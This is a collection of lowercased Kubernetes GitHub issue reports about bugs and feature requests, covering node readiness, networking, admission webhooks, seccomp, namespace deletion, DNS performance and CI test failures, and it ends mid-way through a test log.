a user complains:  > if i set cpu max limit/request ratio=2 and memory max limit/request ratio=5 in limitrange, when create a pod without resources specified, i got the error \  memory max limit to request ratio per pod is 5, but provided ratio is 7.500000. cpu max limit to request ratio per pod is 2, but provided ratio is 3.636364 \ . i have no idea where the provided ratios came from and how they were calculated.  now this is partly just not knowing what the ratio is about, however i think there's a valid concern here: the user doesn't \ provide\  the ratio, it's calculated from the limit/request numbers, and those aren't necessarily provided by the user either.  so this is an enhancement request to have this error message also supply the actual numbers of the limit / request to give the user more clues about what's going on.

noticed that api-servers in a ha cluster fight and put \ resetting endpoints for master service\  in their logs. need to specify the number of servers with --api-server=x  the kubernetes documentation doesn't reference this in the example yaml file

running  kubernetes/cluster/saltbase/install.sh  in darwin  e.g: macos  or bsd  freebsd  won't work due to slight incompatibilities in  cp  and  sed .  no need to work on it, i'm creating a pr to fix it.

i have a cluster and over the weekend some of the pods went to pending status, this caused me to find that the nodes are  notready  state. they were all  ready  last week. i'm not sure how to debug what happened or remove the broken nodes / fix the issue.      kc get nodes gke-cluster-1-default-pool-777adf16-an5j   ready      4d gke-cluster-1-default-pool-777adf16-erra   notready   4d gke-cluster-1-default-pool-777adf16-ge2r   ready      4d gke-cluster-1-default-pool-777adf16-t2aj   ready      4d gke-cluster-1-default-pool-777adf16-vvhx   ready      4d gke-cluster-1-default-pool-777adf16-w20k   notready   4d gke-cluster-1-default-pool-777adf16-wib8   ready      4d gke-cluster-1-default-pool-777adf16-wizq   ready      4d gke-cluster-1-default-pool-777adf16-wteu   ready      4d gke-cluster-1-default-pool-777adf16-x07o   ready      4d gke-cluster-1-default-pool-777adf16-xhfh   ready      4d gke-cluster-1-default-pool-777adf16-xsix   notready   4d gke-cluster-1-default-pool-777adf16-y98j   notready   4d gke-cluster-1-default-pool-777adf16-yjxa   ready      4d gke-cluster-1-default-pool-777adf16-z7cz   ready      4d gke-cluster-1-default-pool-777adf16-z8cn   ready      4d        kubernetes version    use  kubectl version  :      client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.3\ , gitcommit:\ c6411395e09da356c608896d3d9725acab821418\ , gittreestate:\ clean\ , builddate:\ 2016-07-22t20:29:38z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.5\ , gitcommit:\ b0deb2eb8f4037421077f77cb163dbb4c0a2a9f5\ , gittreestate:\ clean\ , builddate:\ 2016-08-11t20:21:58z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }        environment  :  google cloud platform container engine    what happened  :  nodes went offline    what you expected to happen  :  nodes to stay online    how to reproduce it    as minimally and precisely as possible :  unsure    anything else do we need to know  :  the pods that were on those nodes moved to pending status:      some-api-2437792557-nm63f      0/1       pending   0          1d

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : bo    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : etcd    what happened  : 1. i ran etcd in container, without binding its ports to the host. 2. i started k8s local cluster   ./hack/local-up-cluster.sh   3. error  etcd appears to already be running...     what you expected to happen  :  i expect that  local-up-cluster.sh  will allow to run containerized instances of etcd which don't bring any conflict to the k8s etcd instance. why? because for some external software which is intended to run alongside kubernetes  i.e. calico  it's recommended to run separate etcd. i'm also working on the external runtime service, which will be running its own etcd instance.

the container used as the base image https://github.com/kubernetes/kubernetes/blob/master/examples/storage/cassandra/image/dockerfile\r \r has to be updated.  the pgp command to import the keys is not working as well.  we a general update of the container dockerfile and build.\r \r currently we are unable to build a new c  container.

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no-ish.\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : \ events with common reason combined\ \r \r   is this a bug report or feature request?    choose one : bug/request for improvement\r \r   kubernetes version    use  kubectl version  :\r ~~~~\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3+coreos.0\ , gitcommit:\ 8fc95b64d0fe1608d0f6c788eaad2c004f31e7b7\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t19:52:15z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r ~~~~\r \r   environment  :\r -   cloud provider or hardware configuration  : aws via kube-aws\r -   os    e.g. from /etc/os-release : coreos 1235.12.0\r -   kernel    e.g.  uname -a  : 4.7.3\r -   install tools  : kube-aws 0.9.4-ish\r \r \r   what happened  :\r i was deploying a service of type loadbalancer, and that failed. i starting debugging this failure only a long time after the fact  other more relevant issues needed solving first - this is a development environment . at the time i got to it however kubernetes was not helpful anymore:\r \r ~~~~\r $ kubectl --context production-admin -n signals-service-gateway describe svc nginx\r name:\t\t\tnginx\r namespace:\t\tsignals-service-gateway\r labels:\t\t\t<none>\r annotations:\t\tkubectl.kubernetes.io/last-applied-configuration={\ apiversion\ :\ v1\ ,\ kind\ :\ service\ ,\ metadata\ :{\ name\ :\ nginx\ ,\ annotations\ :{\ service.beta.kubernetes.io/aws-load-balancer-connection-draining-enabled...\r \t\t\tservice.beta.kubernetes.io/aws-load-balancer-access-log-enabled=true\r \t\t\tservice.beta.kubernetes.io/aws-load-balancer-access-log-s3-bucket-name=collaborne-logs\r \t\t\tservice.beta.kubernetes.io/aws-load-balancer-access-log-s3-bucket-prefix=signals-service-gateway/nginx/\r \t\t\tservice.beta.kubernetes.io/aws-load-balancer-backend-protocol=tcp\r \t\t\tservice.beta.kubernetes.io/aws-load-balancer-connection-draining-enabled=true\r \t\t\tservice.beta.kubernetes.io/aws-load-balancer-proxy-protocol= \r selector:\t\tinfrastructure=nginx-ingress-controller\r type:\t\t\tloadbalancer\r ip:\t\t\t10.3.0.100\r port:\t\t\thttp\t80/tcp\r nodeport:\t\thttp\t31964/tcp\r endpoints:\t\t\r port:\t\t\thttps\t443/tcp\r nodeport:\t\thttps\t32490/tcp\r endpoints:\t\t\r session affinity:\tnone\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t\t\t-------\r   2d\t\t4m\t\t839\tservice-controller\t\t\tnormal\t\tcreatingloadbalancer\t\tcreating load balancer\r   2d\t\t4m\t\t830\tservice-controller\t\t\twarning\t\tcreatingloadbalancerfailed\t events with common reason combined \r ~~~~\r \r \ events with common reason combined\  is lovely ... but: what is the reason? : \r \r i couldn't find any proper message even when watching the events of that namespace, as even then it would just give that useless text. at this point the load balancer existed in the aws console, but without instances. this further confused me.\r \r eventually i nuked the service, waiting for the deletion, and then added it again. it turns out that at least initially kubernetes does log the errors:\r ~~~~\r   4m\t\t4m\t\t1\tservice-controller\t\t\twarning\t\tcreatingloadbalancerfailed\terror creating load balancer  will retry : failed to create load balancer for service signals-service-gateway/nginx: unable to update load balancer attributes during attribute sync: validationerror: s3bucket prefix cannot start or end with slash\r ~~~~\r \r   what you expected to happen  :\r \r kubernetes provides me with the message, in such a way that i can debug and fix the problems.\r \r for example give me ways to un-deduplicate messages  and sort them by \ happened-when\ , not \ happened-how-long-ago-last\ , please! , or somehow make sure to not kill the actual reason information.\r

hi,\r \r is there a way to access a pod by its hostname?\r i have a pod with hostname   example-2190400937-qbc0f   that need to connect to another pod\r   example-2190400937-fxbdn  \r \r those two pods need to connect directly based on their hostname\r what is the best way to achieve this with out services?\r

goal is to hit beta in 1.10, wrt https://github.com/kubernetes/features/issues/281

 \r   what happened  :\r i haven't seen any ill effects of this yet, but they may be subtle and i haven't had a chance to rundown the codepaths.\r \r error in my 1.7.6 kubelet logs:\r unable to parse docker version \ 17.06.1-ce\ : illegal zero-prefixed version component \ 06\  in \ 17.06.1-ce\ \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r install a kubelet on a machine with 17.06.1-ce docker\r \r   anything else we need to know?  :\r nada\r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.7.6\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release : \r name=\ container linux by coreos\ \r id=coreos\r version=1548.0.0\r version_id=1548.0.0\r build_id=2017-09-27-0012\r pretty_name=\ container linux by coreos 1548.0.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r \r - kernel  e.g.  uname -a  :\r linux ip-172-16-203-31 4.13.3-coreos-r1  1 smp tue sep 26 23:51:59 utc 2017 x86_64 intel r  xeon r  cpu e5-2686 v4 @ 2.30ghz genuineintel gnu/linux\r \r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r kube-up of k8s 1.8.1 on gce. \r set network_policy_provider:-calico in config-default.sh\r nodes never reach ready due to:\r ready                 false   tue, 17 oct 2017 06:14:34 +0000         tue, 17 oct 2017 06:07:24 +0000         kubeletnotready                 runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r \r   what you expected to happen  :\r nodes to reach ready state.\r   how to reproduce it  as minimally and precisely as possible   :\r download k8s 1.8.1.\r edit kubernetes/cluster/gce/config-default.sh\r set network_policy_provider:-calico \r kubernetes/cluster/kube-up.sh\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.8.1\r - cloud provider or hardware configuration  :\r gce\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r   \r   what happened  :\r as https://github.com/kubernetes/kubernetes/pull/54773 discussion_r148904955 described, we have couple ineffective dns codes in kubelet that is causing confusion. we should clean it up so that the path for checking and setting up pod dns configuration would be more consolidated.\r \r   anything else we need to know?  :\r /assign

is this a bug report or feature request?  :\r \r >  \r   what happened  :\r \r i get a failure in the  prestop  conformance test:\r \r    \r  fail   k8s.io  prestop  it  should call prestop when killing a pod  conformance \r    \r \r   what you expected to happen  :\r \r i expect it to pass.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run this conformance test against a cluster which does not enable the default  serviceaccount  admission controller plugin.\r \r   anything else we need to know?  :\r \r the  nettest  web server relies on service account credentials to be able to   contactothers  , i.e., discover peer endpoints within the same namespace. this is an operation that is completely unrelated to the thing that the  prestop  test is checking for. the  nettest  web server should not need to access the api server for this test to pass. the  prestop  test should either use a different web server container image or supply an option to disable this  contactothers  feature of the  nettest  web server.\r \r the kube-apiserver returns a  403 forbidden  response when the  nettest  pod tried to check the server version: https://github.com/kubernetes/kubernetes/blob/master/test/images/nettest/nettest.go l246 this crashes the web server, causing the  prestop  test to ultimately timeout.\r \r @kubernetes/sig-testing\r @kubernetes/sig-testing-misc\r @kubernetes/sig-testing-bugs\r @kubernetes/sig-testing-test-failures\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8\r

i'm trying to use the seccomp feature as we need to give an application some more permissions, so we need a custom seccomp profile.\r \r there are 2 problems with the current feature:\r - custom seccomp profiles need to be in a file on the node, this does not only break how kubernetes is configured, it also impossible in various setups  example: we are in gke and can't just modify the image \r - no docs:\r \r   - https://github.com/kubernetes/kubernetes/blob/release-1.4/docs/design/seccomp.md this is only the proposal, i think this is implemented, but newer implementation have no docs at all\r - https://kubernetes.io/docs/tasks/configure-pod-container/security-context/ mentions it is possible to use configure in the securitycontext, but the reference and docs don't say how  but i can find pr's supporting the securitycontext and seccomp \r \r my main problem is trying to get seccomp working without dropping gke and spinning up a cluster from scratching, maintaining that, etc.

is this a bug report or feature request?  :\r   \r   what happened  :\r the  validatingadmissionwebhook  and  mutatingadmissionwebhook  admission controllers can be enabled in custom api servers, but they are actually broken.\r to fix that in each api server we have to import  k8s.io/kubernetes/pkg/apis/admission/install  and explicitly call the corresponding  install    method to add necessary types to the scheme. in other words, we have to either add a dependency on  k8s.io/kubernetes , or copy the source code that installs the  v1beta1.admissionreview  type to the scheme.\r \r   what you expected to happen  :\r enabling validatingadmissionwebhook should work without writing any extra code at all  just passing a flag  --admission-control=validatingadmissionwebhook  should be enough .\r \r   proposed solution  :\r 1. move  k8s.io/kubernetes/pkg/apis/admission/install  package from the  k8s.io/kubernetes  to the  k8s.io/apiserver  repo  or create copy of this code in  k8s.io/apiserver  \r 2. invoke the  install    method adding the  admissionreview  type to the scheme in the api server by default.\r \r   how to reproduce it  as minimally and precisely as possible   :\r if we just enable  validatingadmissionwebhook  in the  sample-apiserver , the server will startup successfully. but if we try creating a sample resource, we'll get the following error:\r    \r error from server  internalerror : error when creating \ artifacts/flunders/01-flunder.yaml\ : internal error occurred: failed calling admission webhook \ warbles.k8s.io\ : no kind is registered for the type v1beta1.admissionreview\r    \r in other words, we have to register the type  v1beta1.admissionreview  in order to make this webhook work.\r see pr https://github.com/kubernetes/sample-apiserver/pull/21 for amount of work that is needed to enable validatingadmissionwebhook and mutatingadmissionwebhook admission controllers in custom api server.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.2\r

failing job\r  sig-release-master-blocking: gci-gke-serial  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke-serial \r \r    failing test\r schedulerpredicates  serial  validates that a pod with an invalid nodeaffinity is rejected\r \r    triage results\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?sig=scheduling&job=ci-kubernetes-e2e-gci-gke-serial&test=validates%20that%20a%20pod%20with%20an%20invalid%20nodeaffinity%20is%20rejected\r \r has been failing consistently since 4/17.  here are the  commit changes  https://github.com/kubernetes/kubernetes/compare/7966265a5...cce67ed8e \r \r  / /  /milestone 1.11\r @kubernetes/sig-scheduling-bugs \r \r cc @jberkus @tpepper\r \r /assign @bsalamat for triage.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r when node shuts down,  ip address of pods on this node still \ assigned\ , i.e. we can' t re-use this ip to start pod with the same ip on other node  in case of manually assigned ip . also, it leads to ip address leakage, and, potentially, to ip pool exhaustion.\r \r   what you expected to happen  :\r ip should be released and available for further usage.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. on multi-node kubernetes cluster with calico network create deployment:\r \r    \r ---\r kind: deployment\r apiversion: apps/v1beta1\r metadata:\r   name: nginx-0\r spec:\r   replicas: 1\r   strategy:\r     type: recreate\r   template:\r     metadata:\r       annotations:\r         cni.projectcalico.org/ipv4pools: \  \\\ 10.48.0.0/16\\\  \ \r         cni.projectcalico.org/ipaddrs: \  \\\ 10.48.0.1\\\  \ \r       labels:\r         app: \ nginx\ \r         serial: \ 0\ \r     spec:\r       hostname: nginx-0\r       containers:\r         - name: nginx\r           image: nginx:1.7.9\r    \r \r 2. power off node with pod  nginx-0-xxxxxxxxxx-xxxx \r 3. wait about 1 minute to kubernetes detect that node down and deployment controller will try to recreate pod on alive node. \r 4. newly created pod will stuck in  containercreating  state, because calico can't assign ip  10.48.0.1  to it's container due to this ip still 'assigned'.\r \r   anything else we need to know?  :\r the problem is that network management  and ip release  is carried out by kubelet, placed on dead machine. \r i think, that it isn't very logical: network is a cluster-wide entity, but it managed by node-specific process. maybe, someone from @kubernetes/sig-network-misc or @kubernetes/sig-network-feature-requests has mention about it?\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.10\r - cloud provider or hardware configuration: virtualbox\r - os  e.g. from /etc/os-release : ubuntu 16.04.4 lts\r - kernel  e.g.  uname -a  : 4.14.35-041435-generic\r - install tools: \r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r kubernetes/pkg/client/clientset_generated/internalclientset/typed/core/internalversion/fake/fake_event_expansion.go\r kubernetes/pkg/client/clientset_generated/internalclientset/typed/core/internalversion/fake/fake_node_expansion.go\r \r do not support patchtype. they probably should.\r \r   what you expected to happen  :\r these files are not auto-generated, nor do they support patchtype.\r \r   how to reproduce it  as minimally and precisely as possible   :\r delete these two files, run autogen, see they do not come back. also, their api does not include patch type.\r \r

https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-serial/4399\r \r   which jobs are failing  :\r sig-release-master-blocking\r \r   which test s  are failing  :\r  sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial  should work after update\r \r   since when has it been failing  :\r since the test was introduced\r \r   testgrid link  :\r  sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial  should work after update\r \r   reason for failure  :\r looks like the secret the driver requires is not being added to the cluster.\r \r \r <!-- do not edit below this line -->\r   /cc @msau42 \r /assign

hello,\r i am trying to setup cluster on centos 7 with kube v1.13.1.\r i followed the documentation: https://kubernetes.io/docs/setup/independent/create-cluster-kubeadm/ and created a funnel network.\r but the master is stay in not ready state\r  root@master ~   kubectl get nodes\r name     status     roles    age   version\r master   notready   master   72m   v1.13.1\r \r the master also report\r jan 08 10:02:07 master kubelet 12184 : e0108 10:02:07.831271   12184 kubelet.go:2192  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r \r  root@master ~   ifconfig -a\r cni0: flags=4099<up,broadcast,multicast>  mtu 1500\r         inet 10.142.0.1  netmask 255.255.255.0  broadcast 0.0.0.0\r         inet6 fe80::383f:a1ff:fed1:73e0  prefixlen 64  scopeid 0x20<link>\r         ether 0a:58:0a:8e:00:01  txqueuelen 1000   ethernet \r         rx packets 1290  bytes 85028  83.0 kib \r         rx errors 0  dropped 0  overruns 0  frame 0\r         tx packets 1689  bytes 502340  490.5 kib \r         tx errors 0  dropped 0 overruns 0  carrier 0  collisions 0\r \r docker0: flags=4099<up,broadcast,multicast>  mtu 1500\r         inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255\r         ether 02:42:da:26:25:ba  txqueuelen 0   ethernet \r         rx packets 0  bytes 0  0.0 b \r         rx errors 0  dropped 0  overruns 0  frame 0\r         tx packets 0  bytes 0  0.0 b \r         tx errors 0  dropped 0 overruns 0  carrier 0  collisions 0\r \r eth0: flags=4163<up,broadcast,running,multicast>  mtu 1460\r         inet 10.142.0.4  netmask 255.255.255.255  broadcast 10.142.0.4\r         inet6 fe80::4001:aff:fe8e:4  prefixlen 64  scopeid 0x20<link>\r         ether 42:01:0a:8e:00:04  txqueuelen 1000   ethernet \r         rx packets 11001  bytes 21558520  20.5 mib \r         rx errors 0  dropped 0  overruns 0  frame 1\r         tx packets 6257  bytes 782458  764.1 kib \r         tx errors 0  dropped 0 overruns 0  carrier 0  collisions 0\r \r flannel.1: flags=4163<up,broadcast,running,multicast>  mtu 1410\r         inet 10.142.0.0  netmask 255.255.255.255  broadcast 0.0.0.0\r         inet6 fe80::3cdc:78ff:febc:56a6  prefixlen 64  scopeid 0x20<link>\r         ether 3e:dc:78:bc:56:a6  txqueuelen 0   ethernet \r         rx packets 0  bytes 0  0.0 b \r         rx errors 0  dropped 0  overruns 0  frame 0\r         tx packets 0  bytes 0  0.0 b \r         tx errors 0  dropped 8 overruns 0  carrier 0  collisions 0\r \r lo: flags=73<up,loopback,running>  mtu 65536\r         inet 127.0.0.1  netmask 255.0.0.0\r         inet6 ::1  prefixlen 128  scopeid 0x10<host>\r         loop  txqueuelen 1000   local loopback \r         rx packets 695856  bytes 201748834  192.4 mib \r         rx errors 0  dropped 0  overruns 0  frame 0\r         tx packets 695856  bytes 201748834  192.4 mib \r         tx errors 0  dropped 0 overruns 0  carrier 0  collisions 0\r \r  root@master ~  \r \r  root@master ~   netstat -rn\r kernel ip routing table\r destination     gateway         genmask         flags   mss window  irtt iface\r 0.0.0.0         10.142.0.1      0.0.0.0         ug        0 0          0 eth0\r 10.142.0.0      0.0.0.0         255.255.255.0   u         0 0          0 cni0\r 10.142.0.1      0.0.0.0         255.255.255.255 uh        0 0          0 eth0\r 10.142.0.4      0.0.0.0         255.255.255.255 uh        0 0          0 eth0\r 172.17.0.0      0.0.0.0         255.255.0.0     u         0 0          0 docker0\r  root@master ~  \r \r joining other node fails with:\r  discovery  failed to request cluster info, will try again:  get https://10.142.0.4:6443/api/v1/namespaces/kube-public/configmaps/cluster-info: dial tcp 10.142.0.4:6443: i/o timeout \r \r the worker node can not reach even the master through normal ping anymore.\r  root@node01 ~   ping master\r ping master  10.142.0.4  56 84  bytes of data.\r \r \r

what happened  :\r \r there is no way to delete namespaces stuck in terminating if they have finalizers which will never be run.\r \r   what you expected to happen  :\r \r there is a way to delete namespaces stuck in terminating.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r begin with any kubernetes cluster.\r \r 1.  kubectl apply -f  this yaml\r \r    \r apiversion: v1\r kind: namespace\r metadata:\r   name: delete-me\r spec:\r   finalizers:\r     - foregrounddeletion\r    \r \r 2.  kubectl delete ns delete-me \r \r 3. it is not possible to delete  delete-me .\r \r the only workaround i've found is to destroy and recreate the entire cluster.\r \r   anything else we need to know?  :\r \r  stack overflow question  https://stackoverflow.com/questions/55853312/how-to-force-delete-a-kubernetes-namespace  with everything i've tried.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r \r client version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.1\ , gitcommit:\ b7394102d6ef778017f2ca4046abbaa23b88c290\ , gittreestate:\ clean\ , builddate:\ 2019-04-08t17:11:31z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.8-gke.6\ , gitcommit:\ 394ee507d00f15a63cef577a14026096c310698e\ , gittreestate:\ clean\ , builddate:\ 2019-03-30t19:31:43z\ , goversion:\ go1.10.8b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: gke\r - os  e.g:  cat /etc/os-release  : \r \r    \r $ cat /etc/os-release\r \r pretty_name=\ debian gnu/linux buster/sid\ \r name=\ debian gnu/linux\ \r id=debian\r home_url=\ https://www.debian.org/\ \r support_url=\ https://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r \r - kernel  e.g.  uname -a  :\r \r  linux  hostname  4.19.28-2rodete1-amd64  1 smp debian 4.19.28-2rodete1  2019-03-18 > 2018  x86_64 gnu/linux \r

when running image  gcr.io/google_containers/hyperkube-amd64:v1.2.0-alpha.6  and receiving an error message it prints the full usage after the error. the usage is 260 lines, not including wrapping.   it may be sensible to have a short help message which prints some high level help information and the command to display the full usage.

ran a dns performance test against the kubedns pod vs the native gce dns server. kubedns performance was only around 10% that of going directly to the gce dns at \ 169.254.169.254\ .  the single kubedns pod seems to max out at around the same performance as provided by the gce dns to each unique ip address. since all 10 pods are running the same query-file, we would expect the dnsmasq caching would dramatically speed up performance.  running against dns cluster ip 10.0.0.10 is around 109 qps        queries per second:   137.991371   queries per second:   112.373670   queries per second:   97.577085   queries per second:   131.381920   queries per second:   35.410735   queries per second:   136.044372   queries per second:   49.806700   queries per second:   128.092776   queries per second:   133.084200   queries per second:   133.843242      running directly against 169.254.169.254 is 1256 qps      console   queries per second:   1233.658841   queries per second:   1292.178002   queries per second:   1204.961019   queries per second:   1278.054183   queries per second:   1297.116902   queries per second:   1209.742660   queries per second:   1250.562897   queries per second:   1233.336819   queries per second:   1303.879214   queries per second:   1255.794775      methodology:  2 n1-standard-2 instances as schedulable nodes. hairpin_veth mode is on. 1 kubedns pod. 10 dnsperf client pods running as 10 parallel completions under one \ job\ .

-     fully document behavior\r -  x  prune all restmappings, not just those provided\r \r cc @pwittrock \r

what happened  :\r \r pod  foo  failed. i want to inspect the status of the pod, but getting the pod directly returns nothing.\r    console\r $ kubectl get pod foo\r $\r    \r adding the  --show-all    -a   option shows the pod.\r    console\r $ kubectl get pod foo -a\r name      ready     status    restarts   age\r foo       0/1       error     0          12m\r    \r \r \r   what you expected to happen  :\r \r i understand by default  get pod  only shows non-terminated resources, but since i specified the pod name explicitly, i'd expect to get the pod regardless of its state.\r

the right code is 101, but the advanced audit code is not aware of it if the explicit 101 call is missing.

node problem detector v0.4.0 added new support for:\r 1  parsing kernel log from  /dev/kmsg ;\r 2  parsing abrt log.\r \r the  /dev/kmsg  support is pretty useful for problem detection in production.\r \r we should upgrade npd to v0.4.0.\r \r /cc @dchen1107 @ajitak @kubernetes/sig-node-bugs

is this a bug report or feature request?  :\r  \r   what happened  :\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-correctness/32 failed.\r \r    \r i1118 22:28:36.635  ===================================\r i1118 22:28:36.635  random seed: 1511044113 - will randomize all specs\r i1118 22:28:36.635  will run 704 specs\r i1118 22:28:36.635  \r i1118 22:28:36.636  running in parallel across 30 nodes\r    \r \r then not a very long time afterwards:\r \r    \r i1118 23:22:34.844  •  slow test:1703.285 seconds \r i1118 23:22:34.844   k8s.io  pods\r i1118 23:22:34.844  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:643\r i1118 23:22:34.844    should cap back-off at maxcontainerbackoff  slow \r i1118 23:22:34.844    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/pods.go:638\r i1118 23:22:34.844  ------------------------------\r i1118 23:22:34.844  nov 18 23:22:34.837: info: running aftersuite actions on all node\r i1118 23:22:34.844  \r i1118 23:22:34.866  \r i1118 23:22:34.867  nov 18 23:07:04.959: info: running aftersuite actions on all node\r i1118 23:22:34.867  nov 18 23:22:34.865: info: running aftersuite actions on node 1\r i1118 23:22:34.867  nov 18 23:22:34.865: info: skipping dumping logs from cluster\r i1118 23:22:34.867  \r i1118 23:22:34.867  \r i1118 23:22:34.867  ran 352 of 704 specs in 3239.762 seconds\r i1118 23:22:34.882  fail! -- 352 passed | 0 failed | 0 pending | 352 skipped \r i1118 23:22:34.882  \r i1118 23:22:34.882  ginkgo ran 1 suite in 54m1.164616111s\r i1118 23:22:34.882  test suite failed\r i1118 23:22:34.892  checking for custom logdump instances, if any\r i1118 23:22:34.896  sourcing kube-util.sh\r i1118 23:22:34.933  detecting project\r i1118 23:22:34.933  project: kubernetes-scale\r i1118 23:22:34.933  network project: kubernetes-scale\r i1118 23:22:34.933  zone: us-east1-a\r i1118 23:22:34.933  dumping logs from master locally to '/workspace/_artifacts'\r w1118 23:22:35.034  !!! error in ./hack/ginkgo-e2e.sh:132\r w1118 23:22:35.034    error in ./hack/ginkgo-e2e.sh:132. '\ ${ginkgo}\  \ ${ginkgo_args @ :+${ginkgo_args @ }}\  \ ${e2e_test}\  -- \ ${auth_config @ :+${auth_config @ }}\  --ginkgo.flakeattempts=\ ${flake_attempts}\  --host=\ ${kube_master_url}\  --provider=\ ${kubernetes_provider}\  --gce-project=\ ${project:-}\  --gce-zone=\ ${zone:-}\  --gce-region=\ ${region:-}\  --gce-multizone=\ ${multizone:-false}\  --gke-cluster=\ ${cluster_name:-}\  --kube-master=\ ${kube_master:-}\  --cluster-tag=\ ${cluster_id:-}\  --cloud-config-file=\ ${cloud_config:-}\  --repo-root=\ ${kube_root}\  --node-instance-group=\ ${node_instance_group:-}\  --prefix=\ ${kube_gce_instance_prefix:-e2e}\  --network=\ ${kube_gce_network:-${kube_gke_network:-e2e}}\  --node-tag=\ ${node_tag:-}\  --master-tag=\ ${master_tag:-}\  --cluster-monitoring-mode=\ ${kube_enable_cluster_monitoring:-influxdb}\  ${kube_container_runtime:+\ --container-runtime=${kube_container_runtime}\ } ${master_os_distribution:+\ --master-os-di\r w1118 23:22:35.035  call stack:\r w1118 23:22:35.035    1: ./hack/ginkgo-e2e.sh:132 main ... \r w1118 23:22:35.035  exiting with status 1\r w1118 23:22:35.035  2017/11/18 23:22:34 util.go:157: step './hack/ginkgo-e2e.sh --ginkgo.skip=\\ serial\\ |\\ disruptive\\ |\\ flaky\\ |\\ feature:.+\\ |\\ disabledforlargeclusters\\  --allowed-not-ready-nodes=50 --node-schedulable-timeout=90m --minstartuppods=8 --gather-resource-usage=master --gather-metrics-at-teardown=master --logexporter-gcs-path=gs://kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-correctness/32/artifacts --report-dir=/workspace/_artifacts --disable-log-dump=true --cluster-ip-range=10.64.0.0/11' finished in 54m1.993478636s\r w1118 23:22:35.035  2017/11/18 23:22:34 e2e.go:471: dumping logs from nodes to gcs directly at path: gs://kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-correctness/32/artifacts\r w1118 23:22:35.036  2017/11/18 